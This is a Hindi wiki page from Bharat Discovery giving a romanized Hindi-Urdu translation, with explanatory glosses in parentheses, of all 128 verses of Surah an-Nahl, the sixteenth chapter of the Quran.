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भारत डिस्कवरी प्रस्तुति
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an-nahl - 128 ayatean, 16 ruku, makka soora

al-nahl islam dharm ke pavitr granth quran ka 16vaan soora (adhyay) hai jisamean 128 ayatean hoti haian.
16:1 - ai kuphfare makka (khuda ka hukm (qayamat goya) a pahuancha to (ai kaphiroan be phayade) tum isaki jaldi n machao jis chiz ko ye log sharik qarar dete haian usase vah khuda pak v pakiza aur baratar hai
16:2 - vahi apane hukm se apane bandoan mean se jisake pas chahata hai 'vahian' dekar farishtoan ko bhejata hai ki logoan ko is bat se agah kar dean ki mere siva koee mabood nahian to mujhi se darate raho
16:3 - usi ne sare asaman aur zamin masalahat v hikamat se paida kie to ye log jisako usaka yasharik banate haian usase kahian baratar hai
16:4 - usane insan ko nutphe se paida kiya phir vah yakayak (ham hi se) khullam khulla jhag dane vala ho gaya
16:5 - usi ne charapayoan ko bhi paida kiya ki tumhare lie oon (oon ki khal aur oon) se jade qa saman hai
16:6 - isake alava aur bhi phayadean haian aur unamean se baz ko tum khate ho aur jab tum unhean sire sham charaee par se late ho jab savere hi savere charaee par le jate ho
16:7 - to unaki vajah se tumhari raunaq bhi hai aur jin shaharoan tak bagair b di jan zokham mean dale bagair ke pahuanch n sakate the vahaan tak ye chaupae bhi tumhare bojhe bhi utha lie phirate haian isamean shaq nahian ki tumhara paravaradigar b da shaphiq meharaban hai
16:8 - aur (usi ne) gho doan khachcharoan aur gadhoan ko (paida kiya) taki tum un par savar ho aur (isamean) zinat (bhi) hai
16:9 - (usake alava) aur chize bhi paida karega jinako tum nahian janate ho aur (khushk v tar mean) sidhi rah (ki hidayat to khuda hi ke zimme haian aur baz raste tedhe haian
16:10 - aur agar khuda chahata to tum sabako mazile maqasood tak pahuancha deta vah vahi (khuda) hai jisane asaman se pani barasaya jisamean se tum sab pite ho aur isase darakht shadab hote haian
16:11 - jinamean tum (apane maveshiyoan ko) charate ho isi pani se tumhare vaste kheti aur jaitoon aur khuramean aur aangoor ugata hai aur har tarah ke phal (paida karata hai) isamean shaq nahian ki isamean gaur karane valo ke vaste (kudarate khuda ki) bahut b di nishani hai
16:12 - usi ne tumhare vaste rat ko aur din ko aur sooraj aur chaand ko tumhara tabee bana diya hai aur sitare bhi usi ke hukm se (tumhare) pharamabaradar haian kuchh shaq hi nahian ki (isamean) samajhadar logoan ke vaste yaqinan (kudarat khuda ki) bahut si nishaniyaan haian
16:13 - aur jo tarah tarah ke rangoan ki chize usamean zamin mean tumhare naphe ke vaste paida ki
16:14 - kuchh shaq nahian ki isamean bhi ibarat v nasihat hasil karane valoan ke vaste (kudarate khuda ki) bahut si nishani hai aur vahi (vah khuda hai jisane dariya ko (bhi tumhare) qabze mean kar diya taki tum isamean se (machhaliyoan ka) taza taza gosht khao aur isamean se jevar (ki chize moti vagairah) nikalo jin ko tum pahana karate ho aur too kashtiyoan ko dekhata hai ki (amad v raphat mean) dariya mean (pani ko) chirati pha dati ati hai
16:15 - aur (dariya ko tumhare tabee) isalie (kar diya) ki tum log usake phazal (napha tijarat) ki talash karo aur taki tum shukr karo aur usi ne zamin par (bhari bhari) paha doan ko ga d diya
16:16 - taki (aisa n hoan) ki zamin tumhean lekar jhuk jae (aur tumhare qadam n jamean) aur (usi ne) nadiyaan aur raste (banae)
16:17 - taki tum (apani apani manzile maqasood tak pahuanchoan (usake alava rastoan mean) aur bahut si nishaniyaan (paida ki haian) aur bahut se log sitare se bhi rah maloom karate haian
16:18 - to kya jo (khuda itane makhalookat ko) paida karata hai vah un (butoan ke barabar ho sakata hai jo kuchh bhi paida nahian kar sakate to kya tum (itani bat bhi) nahian samajhate aur agar tum khuda ki neamatoan ko ginana chaho to (is kasarat se haian ki) tum nahian gin sakate ho
16:19 - beshak khuda b da bakhshane vala meharaban hai ki (tumhari napharamani par bhi neamat deta hai)
16:20 - aur jo kuchh tum chhipakar karate ho aur jo kuchh zahir karate ho (garaz) khuda (sab kuchh) janata hai aur (ye kuphphar) khuda ko chho dakar jin logoan ko (hajat ke vakt) pukarate haian vah kuchh bhi paida nahian kar sakate
16:21 - (balki) vah khud doosaroan ke banae hue murde bejan haian aur itani bhi khabar nahian ki kab (qayamat) hogi aur kab murde uthae jaegean
16:22 - (phir kya kam aeangian)tumhara paravaradigar yakata khuda hai to jo log akhirat par eeman nahian rakhate unake dil hi (is vajah ke haian ki har bat ka) inkar karate haian aur vah b de magarur haian
16:23 - ye log jo kuchh chhipa kar karate haian aur jo kuchh zahir bazahir karate haian (garaz sab kuchh) khuda zarur janata hai vah haragiz takabbur karane valoan ko pasand nahian karata
16:24 - aur jab unase kaha jata hai ki tumhare paravaradigar ne kya nazil kiya hai to vah kahate haian ki (aji kuchh bhi nahian bas) agalo ke kisse haian
16:25 - (unako bakane do taki qayamat ke din) apane (gunahoan) ke poore bojh aur jin logoan ko unhoanne be samajhe boojhe gumarah kiya hai unake (gunahoan ke) bojh bhi unhian ko uthane p degean zara dekho to ki ye log kaisa bura bojh apane oopar lade chale ja rahean haian
16:26 - beshak jo log unase pahale the unhoanne bhi makkariyaan ki thian to (khuda ka hukm) unake khyalat ki imarat ki j d ki taraph se a p da (pas phir kya tha) is khyali imarat ki chhat un par unake oopar se dham se gir p di (aur sab khyal hava ho ge) aur jidhar se un par azab a pahuancha usaki unako khabar tak n thi
16:27 - (phir usi par ikatipha nahian) usake bad qayamat ke din khuda unako rusava karega aur pharamaega ki (ab batao) jisako tumane mera yasharik bana rakha tha aur jinake bare mean tum (eemanadaroan se) jhag date the kahaan haian (vah to kuchh javab degean nahian magar) jin logoan ko (khuda ki taraph se) ilm diya gaya hai kahegean ki aj ke din rusavaee aur kharabi (sab kuchh) kaphiroan par hi hai
16:28 - vah log haian ki jab pharishte unaki ruh qabz karane lagate haian (aur) ye log (kuphr karake) ap apane oopar sitam dhate rahe to itaat par amada nazar ate haian aur (kahate haian ki) ham to (apane khyal mean) koee buraee nahian karate the (to pharishte kahate haian) haan jo kuchh tumhari karatoote thi khuda usase khoob achchhi tarah vaqiph haian
16:29 - (achchha to lo) jahannum ke daravazoan mean dakhil ho aur isamean hamesha rahoge garaz takabbur karane valo ka bhi kya bura thikana hai
16:30 - aur jab parahezagaroan se poochha jata hai ki tumhare paravaradigar ne kya nazil kiya hai to bol uthate haian sab achchhe se achchha jin logoan ne neki ki unake lie is duniya mean (bhi) bhalaee (hi bhalaee) hai aur akhirat ka ghar kya umda hai
16:31 - sada bahar (hare bhare) bag haian jinamean (ve takalluph) ja pahuanchegean unake niche naharean jari hoangi aur ye log jo chahegean unake lie muyayya (maujood) hai yooan khuda parahezagaroan (ko unake kie) ki jaza ata pharamata hai
16:32 - (ye) vah log haian jinaki ruhean pharishte is halat mean qabz karatean haian ki vah (najasate kuphr se) pak v pakiza hote haian to pharishte unase (nihayat tapak se) kahate hai salamun alaikum jo nekiyaan duniya mean tum karate the usake sile mean jannat mean (betakalluph) chale jao
16:33 - (ai rasool) kya ye (ahale makka) isi bat ke muntizar hai ki unake pas pharishte (qabze ruh ko) a hi jaean ya (unake halak karane ko) tumhare paravaradigar ka azab hi a pahuanche jo log unase pahale ho guzare haian vah aisi batean kar chuke haian aur khuda ne un par (zara bhi) julm nahian kiya balki vah log khud kufr ki vajah se apane oopar ap julm karate rahe
16:34 - phir jo jo karatootean unaki thi usaki saza mean bure natije unako mile aur jis (azab) ki vah hansi u daya karate the usane unhean (charo taraph se) gher liya
16:35 - aur musharekin kahate haian ki agar khuda chahata to n ham hi usake siva kisi aur chiz ki ibadat karate aur n hamare bap dada aur n ham bagair us (ki marzi) ke kisi chiz ko haram kar baithate jo log inase pahale ho guzare haian vah bhi aise (hila havale ki) batean kar chuke haian to (kaha karean) paigambaroan par to usake siva ki ehakam ko saf saph pahuancha de aur kuchh bhi nahian
16:36 - aur hamane to har ummat mean ek (n ek) rasool is bat ke lie zarur bheja ki logoan khuda ki ibadat karo aur butoan (ki ibadat) se bache raho garaz unamean se baz ki to khuda ne hidayat ki aur baz ke (sar) par gumarahi savar ho gee to zara tum log rue zamin par chal phir kar dekho to ki (paigambarane khuda ke) jhuthalane valoan ko kya anjam hua
16:37 - (ai rasool) agar tumako in logoan ke rahe rast par jane ka hauka hai (to be phayada) kyoanki khuda to haragiz us shakhsh ki hidayat nahian karega jisako (nazil hone ki vajah se) gumarahi mean chho d deta hai aur n unaka koee madadagar hai
16:38 - (ki azab se bachae) aur ye kuphphar khuda ki jitani qasamean unake imakan mean tumhean kha (kar kahate) haian ki jo shakhsh mar jata hai phir usako khuda dobara zinda nahian karega (ai rasool) tum kah do ki haan zarur aisa karega is par apane vayade ki (vapha) lazim v zaruri hai magar bahutere adami nahian janate haian
16:39 - (dobara zinda karana isalie zaruri hai) ki jin batoan par ye log jhag da karate haian unhean unake samane saf vazee kar dega aur taki kuphphar ye samajh lean ki ye log (duniya mean) jhoothe the
16:40 - ham jab kisi chiz (ke paida karane) ka irada karate haian to hamara kahana usake bare mean itana hi hota hai ki ham kah dete haian ki 'ho ja' bas phauran ho jati hai (to phir murdoan ka jilana bhi koee bat hai)
16:41 - aur jin logoan ne (kuphfar ke zulm par zulm sahane ke bad khuda ki khushi ke lie ghar bar chho da hijarat ki ham unako zarur duniya mean bhi achchhi jagah bithaeangean aur akhirat ki jaza to usase kahian badh kar hai kash ye log jinhoanne khuda ki rah mean sakhtiyoan par sabr kiya
16:42 - aur apane paravaradigar hi par bharosa rakhate haian (akhirat ka savab) janate hote
16:43 - aur (ai rasool) tum se pahale adamiyoan hi ko paigambar bana banakar bheja kie jin ki taraph ham vahian bhejate the to (tum ahale makka se kaho ki) agar tum khud nahian janate ho to ahale zikr (alimoan se) poochho (aur un paigambaroan ko bheja bhi to) raushan daliloan aur kitaboan ke sath
16:44 - aur tumhare pas quran nazil kiya hai taki jo ehakam logoan ke lie nazil kie ge hai tum unase saf saph bayan kar do taki vah log khud se kuchh gaur fikr karean
16:45 - to kya jo log b di b di makkariyaan (shirk vagairah) karate the (unako is bat ka itminan ho gaya hai (aur muttaliq khauph nahian) ki khuda unhean zamin mean dhasa de ya aisi taraph se un par azab a pahuanche ki usaki unako khabar bhi n ho
16:46 - unake chalate phirate (khuda ka azab) unhean giraphtar kare to vah log use zer nahian kar sakate
16:47 - ya vah azab se darate ho to (usi halat mean) dhar pak d kare isamean to shak nahian ki tumhara paravaradigar b da shaphiq raham vala hai
16:48 - kya un logoan ne khuda ki makhalooqat mean se koee aisi chiz nahian dekhi jisaka saya (kabhi) dahini taraph aur kabhi bayian taraph palata rahata hai ki (goya) khuda ke samane sar sajada hai aur sab itaat ka izahar karate haian
16:49 - aur jitani chizean (chadan sooraj vagairah) asamanoan mean haian aur jitane janavar zamin mean haian sab khuda hi ke age sar sajood haian aur pharishte to (hai hi) aur vah hukmean khuda se sarakashi nahian karate (49) (sajada)
16:50 - aur apane paravaradigar se jo unase (kahian) baratar (b da) v ala hai darate haian aur jo hukmean diya jata hai phauran baja late haian
16:51 - aur khuda ne pharamaya tha ki do do mabood n banao mabood to bas vahi yakata khuda hai sirph mujhi se darate raho
16:52 - aur jo kuchh asamanoan mean haian aur jo kuchh zamin mean haian (garaz) sab kuchh usi ka hai aur khalis pharamabaradari hamesha usi ko lazim (zaroori) hai to kya tum log khuda ke siva (kisi aur se bhi) darate ho
16:53 - aur jitani neamatean tumhare sath haian (sab hi ki taraph se haian) phir jab tumako takaliph chhoo bhi gee to tum usi ke age phariyad karane lagate ho
16:54 - phir jab vah tumase takaliph ko door kar deta hai to bas phauran tumamean se kuchh log apane paravaradigar ko sharik thaharate haian
16:55 - taki jo (neamatean) hamane unako di hai unaki nashukri karean to (khair duniya mean chand roz chain kar lo phir to anaqarib tumako maloom ho jaega
16:56 - aur hamane jo rozi unako di hai usamean se ye log un butoan ka hissa bhi qarar dete hai jinaki haqikat nahian janate to khuda ki (apani) qism jo ifatera paradaziyaan tum karate the (qayamat mean) unaki bazapurs (poochh gachh) tum se zarur ki jaegi
16:57 - aur ye log khuda ke lie betiyaan tajaviz karate haian (suban allah) vah us se pak v pakiza hai
16:58 - aur apane lie (bete) jo maragoob (dil pasand) haian aur jab usamean se kisi ek ko l daki paida hone ki jo khushakhabari dijie ranj ke mare muanh kala ho jata hai
16:59 - aur vah zahar ka sa ghooant pikar rah jata hai (beti ki) jisaki khushakhabari di gee hai apani qaum ke logoan se chhipa phirata hai (aur sochata hai) ki kya isako zillat uthake zinda rahane de ya (zinda hi) isako zamin mean ga d de-dekho tum log kis qadar bura ehakam (hukm) lagate haian
16:60 - buri (buri) batean to unhian logoan ke lie jyada munasib haian jo akhirat ka yaqin nahian rakhate aur khuda ki shan ke layaq to ala siphate (bahut b di achchhaiya) haian aur vahi to galib hai
16:61 - aur agar (kahian) khuda apane bandoan ki napharamaniyoan ki girafat karata to rue zamin par kisi ek janadar ko baqi n chho data magar vah to ek muqarrar vakt tak un sabako mohalat deta hai phir jab unaka (vah) vakt aa pahuanchega to n ek gh di pichhe hat sakate haian aur n age badh sakate haian
16:62 - aur ye log khud jin batoan ko pasand nahian karate unako khuda ke vaste qarar dete haian aur apani hi zaban se ye jhoothe dave bhi karate haian ki (akhirat mean bhi) unhian ke lie bhalaee hai (bhalaee to nahian magar) haan unake lie jahannum ki ag zaruri hai aur yahi log sabase pahale (usamean) jhoanke jaeangean
16:63 - (ai rasool) khuda ki (apani) kasam tumase pahale ummatoan ke pas bahutere paigambar bheje to shaitan ne unaki karastaniyoan ko umda kar dikhaya to vahi (shaitan) aj bhi un logoan ka saraparast bana hua hai hal aauki unake vaste dardanak azab hai
16:64 - aur hamane tum par kitab (quran) to isi lie nazil ki taki jin batoan mean ye log baham jhag da kie haian unako tum saf saph bayan karo (aur yah kitab) eemanadaroan ke lie to (azasaratapa) hidayat aur rahamat hai
16:65 - aur khuda hi ne asaman se pani barasaya to usake zarie zamin ko murda hone ke bad zinda (shadab) (hari bhari) kiya kya kuchh shak nahian ki isamean jo log basate haian unake vaste (kudarate khuda ki) bahut b di nishani hai
16:66 - aur isamean shaq nahian ki chaupayoan mean bhi tumhare lie (ibarat ki bat) hai ki unake pet mean khak, bala, gobar aur khoon (jo kuchh bhara hai) usamean se hame tumako khalis doodh pilate haian jo pine valoan ke lie khushagavar hai
16:67 - aur isi tarah khuramean aur aangoor ke phal se (ham tumako shira pilate haian) jisaki (kabhi to) tum sharab bana liya karate ho aur kabhi achchhi rozi (siraka vagairah) isamean shak nahian ki isamean bhi samajhadar logoan ke lie (qudarat khuda ki) b di nishani hai
16:68 - aur (ai rasool) tumhare paravaradigar ne shahad ki makkhiyoan ke dil mean ye bat dali ki too paha doan aur darakhtoan aur ooanchi ooanchi tttiyaan (aur makanat pat kar) banate haian
16:69 - unamean apane chhatte bana phir har tarah ke phaloan (ke poor se) (unaka arq) choos kar phir apane paravaradigar ki rahoan mean tabedari ke sath chali makkhiyoan ke pet se pine ki ek chiz nikalati hai (shahad) jisake mukhtaliph rang hote haian isamean logoan (ke bimariyoan) ki shifa (bhi) hai isamean shaq nahian ki isamean gaur v fikr karane valoan ke vaste (qudarate khuda ki bahut b di nishani hai)
16:70 - aur khuda hi ne tumako paida kiya phir vahi tumako (duniya se) utha lega aur tumamean se baz aise bhi haian jo zalil zindagi (sakht budhape) ki taraph lautae jate haian (bahut kuchh) janane ke bad (aise s dile ho ge ki) kuchh nahian jan sake beshak khuda (sab kuchh) janata aur (har tarah ki) kudarat rakhata hai
16:71 - aur khuda hi ne tumamean se baz ko baz par rizak (daulat mean) tarajih di hai phir jin logoan ko rozi jyada di gee hai vah log apani rozi mean se un logoan ko jin par unaka dastaras (ikhteyar) hai (laundi gulam vagairah) dene vala nahian (hal aauki is mal mean to sab ke sab malik gulam vagairah) barabar haian to kya ye log khuda ki neamat ke munkir haian
16:72 - aur khuda hi ne tumhare lie bibiyaan tum hi mean se banaee aur usi ne tumhare vaste tumhari biviyoan se bete aur pote paida kie aur tumhean pak v pakiza rozi khane ko di to kya ye log bilkul batil (sultan but vagairah) par eeman rakhate haian aur khuda ki neamat (vahadaniyat vagairah se) inkar karate haian
16:73 - aur khuda ko chho dakar aisi chiz ki parasatish karate haian jo asamanoan aur zamin mean se unako rizaq dene ka kuchh bhi n ekhtiyar rakhate haian aur n kudarat hasil kar sakate haian
16:74 - to tum (duniya ke logoan par kayas karake khud) misalean n gadho beshak khuda (sab kuchh) janata hai aur tum nahian janate
16:75 - ek masal khuda ne bayan pharamaee ki ek gulam hai jo doosare ke kabje mean hai (aur) kuchh bhi ekhtiyar nahian rakhata aur ek shakhsh vah hai ki hamane use apani baragah se achchhi (khasi) rozi de rakhi hai to vah usamean se chhipa ke dikha ke (garaz har tarah khuda ki rah mean) kharch karata hai kya ye dono barabar ho sakate haian (haragiz nahian) alhamadolillah (ki vah bhi usake muqarrar haian) magar unake bahutere (itana bhi) nahian janate
16:76 - aur khuda ek doosari masal bayan pharamata hai do adami haian ki ek unamean se bilkul gooanga us par gulam jo kuchh bhi (bat vagairah ki) kudarat nahian rakhata aur (is vajah se) vah apane malik ko doobhar ho raha hai ki usako jidhar bhejata hai (khair se) kabhi bhalaee nahian lata kya aisa gulam aur vah shakhsh jo (logoan ko) adal v miyana ravi ka hukm karata hai vah khud bhi thik sidhi rah par qayam hai (donoan barabar ho sakate haian (haragiz nahian)
16:77 - aur sare asaman v zamin ki gaib ki batean khuda hi ke lie makhasoos haian aur khuda qayamat ka vakee hona to aisa hai jaise palak ka jhapakana balki isase bhi jaldi beshak khuda har chiz par qudarat kamela rakhata hai
16:78 - aur khuda hi ne tumhean tumhari maoan ke pet se nikala (jab) tum bilkul nasamajh the aur tum ko kan die aur aauankhean (ata ki) dil (inayat kie) taki tum shukr karo
16:79 - kya un logoan ne parindoan ki taraph gaur nahian kiya jo asaman ke niche hava mean ghire hue (u date rahate haian) unako to bas khuda hi (girane se ) rokata hai beshak isamean bhi (kudarate khuda ki) eemanadaroan ke lie bahut si nishaniyaan haian
16:80 - aur khuda hi ne tumhare gharoan ko tumhara thikana qarar diya aur usi ne tumhare vaste chaupayoan ki khaloan se tumhare lie (halake phulake) dere (kheme) bana jinhean tum halaka pakar apane saphar aur hajar (thaharane) mean kam late ho aur in charapayoan ki oon aur ruee aur balo se ek vakt khas (qayamat tak) ke lie tumhare bahut se asabab aur abakar amad (kam ki) chize banaee
16:81 - aur khuda hi ne tumhare aram ke lie apani paida ki hueechizoan ke sae banae aur usi ne tumhare (chhipane baithane) ke vaste paha doan mean gharaunde (gar vagairah) banae aur usi ne tumhare lie kap de banae jo tumhean (sardi) garmi se mahaphooz rakhean aur (lohe) ke kurte jo tumhean hathiyoan ki zad (mar) se bacha lang yooan khuda apani neamat tum par poori karata hai
16:82 - tum usaki pharamabaradari karo us par bhi agar ye log (eeman se) muanh phere to tumhara pharj sirph (ehakam ka) saf pahuancha dena hai
16:83 - (bas) ye log khuda ki neamatoan ko pahachanate haian phir (janabujh kar) unase mukar jate haian aur inhian mean se bahutere nashukre haian
16:84 - aur jis din ham ek ummat mean se (usake paigambaroan ko) gavah banakar qabroan se utha kh da karege phir to kaphiroan ko n (bat karane ki) ijazat di jaegi aur n unaka ujr (javab) hi suna jaega
16:85 - aur jin logoan ne (duniya mean) shararatean ki thi jab vah azab ko dekh legean to unake azab hi mean takhafif ki jaegi aur n unako mohalat hi di jaegi
16:86 - aur jin logoan ne duniya mean khuda ka sharik (doosare ko) thaharaya tha jab apane (un) sharikoan ko (qayamat mean) dekheange to bol uthegean ki ai hamare paravaradigar yahi to hamare sharik haian jinhean ham (musibat) ke vakt tujhe chho d kar pukara karate the to vah sharik unhian ki taraph bat ko pheank maregean ki tum nire jhoothe ho
16:87 - aur us din khuda ke samane sar jhuka deange aur jo ifatera paradaziyaan duniya mean kiya karate the unase gayab ho jaeangean
16:88 - jin logoan ne kuphr ekhteyar kiya aur logoan ko khuda ki rah se roka unake fasad vale kamoan ke badale mean unake lie ham azab par azab badhate jaeangean
16:89 - aur vah din yad karo jis din ham har ek giroh mean se unhian mean ka ek gavah unake muqabil la kh da karegean aur (ai rasool) tum ko un logoan par (unake) samane gavah banakar la kh da kareangean aur hamane tum par kitab (quran) nazil ki jisamean har chiz ka (shaphi) bayan hai aur musalamanoan ke lie (saramapa) hidayat aur rahamat aur khushakhabari hai
16:90 - isamean shaq nahian ki khuda insaph aur (logoan ke sath) neki karane aur qarabatadaroan ko (kuchh) dene ka hukm karata hai aur badakari aur nashaesta harakatoan aur sarakashi karane ko mana karata hai (aur) tumhean nasihat karata hai taki tum nasihat hasil karo
16:91 - aur jab tum log baham qaul v qarar kar liya karo to khuda ke ehado paiman ko poora karo aur qasamoan ko unake pakka ho jane ke bad n to da karo hal aauki tum to khuda ko apana zamin bana chuke ho jo kuchh bhi tum karate ho khuda use zarur janata hai
16:92 - aur tum log (qasamoan ke to dane mean) us aurat ke aise n ho jo apana soot mazaboot katane ke bad tuk de tuk de karake to d dale ki apane ehado ko apas mean us bat ki makkari ka zariya banane lago ki ek giroh doosare giroh se (khvamakhavah) badh jae isase bas khuda tumako azamata hai (ki tum kisi ki palaish karate ho) aur jin batoan mean tum duniya mean jhag date the qayamat ke din khuda khud tum se saf saph bayan kar dega
16:93 - aur agar khuda chahata to tum sabako ek hi (kism ke) giroh bana deta magar vah to jisako chahata hai gumarahi mean chho d deta hai aur jisaki chahata hai hidayat karata hai aur jo kuchh tum log duniya mean kiya karate the usaki baz purs (puchh gachh) tumase zarur ki jaegi
16:94 - aur tum apani qasamoan ko apas mean ke phasad ka sabab n banao taki (logoan ke) qadam jamane ke bad (islam se) ukh d jaean aur phir akhirakar qayamat mean tumhean logoan ko khuda ki rah se rokane ki padash (rokane ke badale) mean azab ka maza chakhana p de aur tumhare vaste b da sakht azab ho
16:95 - aur khuda ke ehado paiman ke badale tho di qimat (dunayavi napha) n lo agar tum janate (boojhate) ho to (samajh lo ki) jo kuchh khuda ke pas hai vah usase kahian behatar hai
16:96 - (kyoanki mal duniya se) jo kuchh tumhare pas hai ek n ek din khatm ho jaega aur (ajr) khuda ke pas hai vah hamesha baqi rahega aur jin logoan ne duniya mean sabr kiya tha unako (qayamat mean) unake kamoan ka ham achchhe se achchha ajr v savab ata kareangean
16:97 - mard ho ya aurat jo shakhsh nek kam karega aur vah eemanadar bhi ho to ham use (duniya mean bhi) pak v pakiza jindagi basar karaeangean aur (akhirat mean bhi) jo kuchh vah karate the usaka achchhe se achchha ajr v savab ata pharamaeangean
16:98 - aur jab tum quran padhane lago to shaitan maradood (ke vasavaso) se khuda ki panah talab kar liya karo
16:99 - isamean shak nahian ki jo log eemanadar haian aur apane paravaradigar par bharosa rakhate haian un par usaka qaboo nahian chalata
16:100 - usaka qaboo chalata hai to bas unhian logoan par jo usako dost banate haian aur jo log usako khuda ka sharik banate haian
16:101 - aur (ai rasool) ham jab ek ayat ke badale doosari ayat nazil karate haian to hal aauki khuda jo chiz nazil karata hai us (ki masalahatoan) se khoob vaqiph hai magar ye log (tum ko) kahane lagate haian ki tum bas bilkul muzatari (galat bayan karane vale) ho balki khud unamean ke bahutere (masaleh ko) nahian janate
16:102 - (ai rasool) tum (saph) kah do ki is (quran) ko to ruhalakudoos (jibaril) ne tumhare paravaradigar ki taraph se haq nazil kiya hai taki jo log eeman la chuke haian unako sabit qadam rakhe aur musalamanoan ke lie (azasaratapa) khushakhabari hai
16:103 - aur (ai rasool) ham tahaqiqatan janate haian ki ye kuphphar tumhari nisbat kaha karate hai ki unako (tum ko) koee adami quran sikha diya karata hai hal aauki bilkul galat hai kyoanki jis shakhs ki taraph se ye log nisbat dete haian usaki zaban to ajami hai aur ye to saf saph arabi zaban hai
16:104 - isamean to shak hi nahian ki jo log khuda ki ayatoan par eeman nahian late khuda bhi unako manzile maqasood tak nahian pahuanchaega aur unake lie dardanak azab hai
16:105 - jhooth bohatan to bas vahi log b aaudha karate haian jo khuda ki ayatoan par eeman nahian rakhatean
16:106 - aur haqiqat amr ye hai ki yahi log jhoothe haian us shakhs ke siva jo (kalamae kuphr) par majaboor kiya jae aur usaka dil eeman ki taraph se mutamin ho jo shakhs bhi eeman lane ke bad kuphr ekhtiyar kare balki khoob sina kushada (ji kholakar) kuphr kare to un par khuda ka gazab hai aur unake lie b da (sakht) azab hai
16:107 - ye is vajah se ki un logoan ne duniya ki chand roza zindagi ko akhirat par tarajih di aur is vajah se ki khuda kaphiroan ko haragiz manzile maqasood tak nahian pahuanchaya karata
16:108 - ye vahi log haian jinake diloan par aur unake kanoan par aur unaki aauankhoan par khuda ne alamat muqarrar kar di hai
16:109 - (ki eeman n laeange) aur yahi log (is sire ke) bekhabar haian kuchh shaq nahian ki yahi log akhirat mean bhi yaqinan ghata uthane vale haian
16:110 - phir isamean shaq nahian ki tumhara paravaradigar un logoan ko jinhoanne musibat mean mubtila hone k bad ghar bar chhode phir (khuda ki rah mean) jihad kie aur takaliphoan par sabr kiya isamean shaq nahian ki tumhara paravaradigar in sab batoan ke bad alabatta b da bakhshane vala meharaban hai
16:111 - aur (us din ko yad) karo jis din har shakhsh apani zat ke bare mean jhag dane ko a maujood hoga
16:112 - aur har shakhsh ko jo kuchh bhi usane kiya tha usaka poora poora badala milega aur un par kisi tarah ka julm n kiya jaega khuda ne ek gaanv ki masal bayan pharamaee jisake rahane vale har tarah ke chain v itmenan mean the har taraph se bapharagat (bahut jyada) unaki rozi unake pas aee thi phir un logoan ne khuda ki nooamatoan ki nashukri ki to khuda ne unaki karatootoan ki badaulat unako maza chakha diya
16:113 - ki bhook aur khauph ko odhana (bichhauna) bana diya aur unhian logoan mean ka ek rasool bhi unake pas aya to unhoanne use jhuthalaya
16:114 - phir azab (khuda) ne unhean le dala aur vah zalim the hi to khuda ne jo kuchh tumhean halal tayyab (tahir) rozi di hai usako (shauq se) khao aur agar tum khuda hi ki parasatish (ka dava karate ho)
16:115 - usaki neamat ka shukr ada kiya karo tum par usane muradar aur khoon aur sooar ka gosht aur vah janavar jis par (zabah ke vakt) khuda ke siva (kisi) aur ka nam liya jae haram kiya hai phir jo shakhsh (mare bhook ke) majaboor ho khuda se saratapi (napharamani) karane vala ho aur n (had zarurat se) badhane vala ho aur (haram khae) to beshak khuda bakhshane vala meharaban hai
16:116 - aur jhoot moot jo kuchh tumhari zaban par ae (be samajhe boojhe) n kah baitha karoan ki ye halal hai aur haram hai taki isaki badaulat khuda par jhooth bohatan baandhane lago isamean shaq nahian ki jo log khuda par jhooth bohatan badhate haian vah kabhi kamayab n hogean
16:117 - (duniya mean) phayada to zara sa hai aur (akhirat mean) dardanak azab hai
16:118 - aur yahoodiyoan par hamane vah chize haram kar dian thi jo tumase pahale bayan kar chuke haian aur hamane to (is ki vajah se) un par kuchh zulm nahian kiya
16:119 - magar vah log khud apane oopar sitam to d rahe haian phir isame shaq nahian ki jo log nadani se gunah kar baithe usake bad sadaq dil se tauba kar li aur apane ko durust kar liya to (ai rasool) isamean shaq nahian ki tumhara paravaradigar isake bad bakhshane vala meharaban hai
16:120 - isamean shaq nahian ki ibarahim (logoan ke) peshava khuda ke pharamabaradar bande aur batil se katara kar chalane vale the aur musharekin se haragiz n the
16:121 - usaki neamatoan ke shukr guzar unako khuda ne munatakhib kar liya hai aur (apani) sidhi rah ki unhean hidayat ki thi
16:122 - aur hamane unhean duniya mean bhi (har tarah ki) behatari ata ki thi
16:123 - aur vah akhirat mean bhi yaqinan neko karoan se hogean ai rasool phir tumhare pas vahi bheji ki ibarahim ke tariqe ki pairavi karo jo batil se katara ke chalate the aur musharekin se nahian the
16:124 - (ai rasool) haphte (ke din) ki tazim to bas unhian logoan par lazim ki gee thi (yahood v nasara isake bare mean) ekhtilaph karate the aur kuchh shaq nahian ki tumhara paravaradigar unake daramiyan jis agr mean vah jhag da karate the qayamat ke din phaisala kar dega
16:125 - (ai rasool) tum (logoan ko) apane paravaradigar ki rah par hikamat aur achchhi achchhi nasihat ke zarie se bulao aur bahas v mubasha karo bhi to is tariqe se jo logoan ke nazadik sabase achchha ho isamean shaq nahian ki jo log khuda ki rah se bhatak ge unako tumhara paravaradigar khoob janata hai
16:126 - aur hidayat yafata logoan se bhi khoob vaqiph hai aur agar (mukhaliphin ke sath) sakhti karo bhi to vaisi hi sakhti karo jaise sakhti un logoan ne tum par ki thi aur agar tum sabr karo to sabr karane valoan ke vaste behatar haian
16:127 - aur (ai rasool) tum sabr hi karo (aur khuda ki (madad) bagair to tum sabr kar bhi nahian sakate aur un mukhaliphin ke hal par tum ranj n karo aur jo makkariyaan ye log karate haian usase tum tang dil n ho
16:128 - jo log parahezagar haian aur jo log neko kar haian khuda unaka sathi hai



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

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varnamala kramanusar lekh khoj

